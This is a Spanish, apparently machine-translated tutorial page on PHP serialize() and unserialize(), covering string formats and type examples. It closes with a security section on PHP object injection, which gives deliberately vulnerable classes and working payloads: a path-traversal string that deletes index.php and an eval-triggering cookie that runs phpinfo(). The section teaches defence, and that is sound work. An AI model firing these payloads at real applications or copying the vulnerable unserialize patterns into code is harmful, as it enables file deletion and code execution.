Buscar..


Sintaxis

  • cadena serializar (valor mezclado de $)

Parámetros

Parámetro Detalles
valor El valor a ser serializado. serialize () maneja todos los tipos, excepto el tipo de recurso . Incluso puede serializar () arreglos que contienen referencias a sí mismo. También se almacenarán las referencias circulares dentro de la matriz / objeto que está serializando. Cualquier otra referencia se perderá. Al serializar objetos, PHP intentará llamar a la función miembro __sleep () antes de la serialización. Esto es para permitir que el objeto realice una limpieza de último minuto, etc., antes de ser serializado. Del mismo modo, cuando el objeto se restaura con unserialize () , se llama a la función miembro __wakeup () . Los miembros privados del objeto tienen el nombre de la clase ante el nombre del miembro; los miembros protegidos tienen un '*' ante el nombre del miembro. Estos valores prefabricados tienen bytes nulos en cualquier lado.

Observaciones

La serialización utiliza las siguientes estructuras de cadena:

[..] son marcadores de posición.

Tipo Estructura
Cuerda s:[size of string]:[value]
Entero i:[value]
Doble d:[value]
Booleano b:[value (true = 1 and false = 0)]
Nulo N
Objeto O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)}
Formación a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)}

Serialización de diferentes tipos.

Genera una representación almacenable de un valor.

Esto es útil para almacenar o pasar valores de PHP sin perder su tipo y estructura.

Para volver a convertir la cadena serializada en un valor PHP, use unserialize () .

Serializar una cuerda

$string = "Hello world";    
echo serialize($string);

// Output: 
// s:11:"Hello world";

Serializacion de un doble

$double = 1.5;    
echo serialize($double);

// Output: 
// d:1.5;

Serializando un flotador

Los flotadores se serializan como dobles.

Serialización de un entero

$integer = 65;    
echo serialize($integer);

// Output: 
// i:65;

Serializacion de un booleano

$boolean = true;    
echo serialize($boolean);

// Output: 
// b:1;

$boolean = false;    
echo serialize($boolean);

// Output: 
// b:0;

Serializacion nula

$null = null;    
echo serialize($null);

// Output: 
// N;

Serializando una matriz

$array = array(
    25,
    'String',
    'Array'=> ['Multi Dimension','Array'],
    'boolean'=> true,
    'Object'=>$obj, // $obj from above Example
    null,
    3.445
); 


// This will throw Fatal Error
// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}

Serialización de un objeto

También puede serializar objetos.

Al serializar objetos, PHP intentará llamar a la función miembro __sleep () antes de la serialización. Esto es para permitir que el objeto realice una limpieza de último minuto, etc., antes de ser serializado. Del mismo modo, cuando el objeto se restaura con unserialize () , se llama a la función miembro __wakeup () .

class abc {
    var $i = 1;
    function foo() {
        return 'hello world';
    }
}

$object = new abc(); 
echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;} 

Tenga en cuenta que los cierres no pueden ser serializados:

$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

Problemas de seguridad con unserialize

El uso de la función unserialize para unserialize los datos de la entrada del usuario puede ser peligroso.

Una advertencia de php.net

Advertencia No pase una entrada de usuario no confiable a unserialize (). La deserialización puede hacer que el código se cargue y se ejecute debido a la instanciación de objetos y la carga automática, y un usuario malintencionado puede explotar esto. Utilice un formato de intercambio de datos estándar y seguro, como JSON (a través de json_decode () y json_encode ()) si necesita pasar datos serializados al usuario.

Posibles ataques

  • Inyección de objetos PHP

Inyección de objetos PHP

PHP Object Injection es una vulnerabilidad de nivel de aplicación que podría permitir a un atacante realizar diferentes tipos de ataques maliciosos, como Inyección de código, Inyección de SQL, Trayectoria de ruta y Denegación de servicio de la aplicación, según el contexto. La vulnerabilidad se produce cuando la entrada suministrada por el usuario no está correctamente desinfectada antes de pasarla a la función PHP unserialize (). Dado que PHP permite la serialización de objetos, los atacantes podrían pasar cadenas serializadas ad-hoc a una llamada vulnerable unserialize (), lo que resultaría en una inyección arbitraria de objetos PHP en el ámbito de la aplicación.

Para poder explotar con éxito una vulnerabilidad de PHP Object Injection se deben cumplir dos condiciones:

  • La aplicación debe tener una clase que implemente un método mágico de PHP (como __wakeup o __destruct ) que se pueda usar para llevar a cabo ataques maliciosos o para iniciar una "cadena POP".
  • Todas las clases utilizadas durante el ataque deben declararse cuando se llama a la unserialize() vulnerable, de lo contrario, el objeto debe ser compatible con estas clases.

Ejemplo 1 - Ataque de travesía de camino

El siguiente ejemplo muestra una clase de PHP con un método explotable __destruct :

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

En este ejemplo, un atacante podría eliminar un archivo arbitrario a través de un ataque de Travesía de ruta, por ejemplo, para solicitar la siguiente URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Ejemplo 2 - Código de ataque de inyección

El siguiente ejemplo muestra una clase de PHP con un método __wakeup explotable:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

En este ejemplo, un atacante podría realizar un ataque de inyección de código enviando una solicitud HTTP como esta:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Donde el parámetro de cookie "datos" ha sido generado por el siguiente script:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));


Modified text is an extract of the original Stack Overflow Documentation
Licenciado bajo CC BY-SA 3.0
No afiliado a Stack Overflow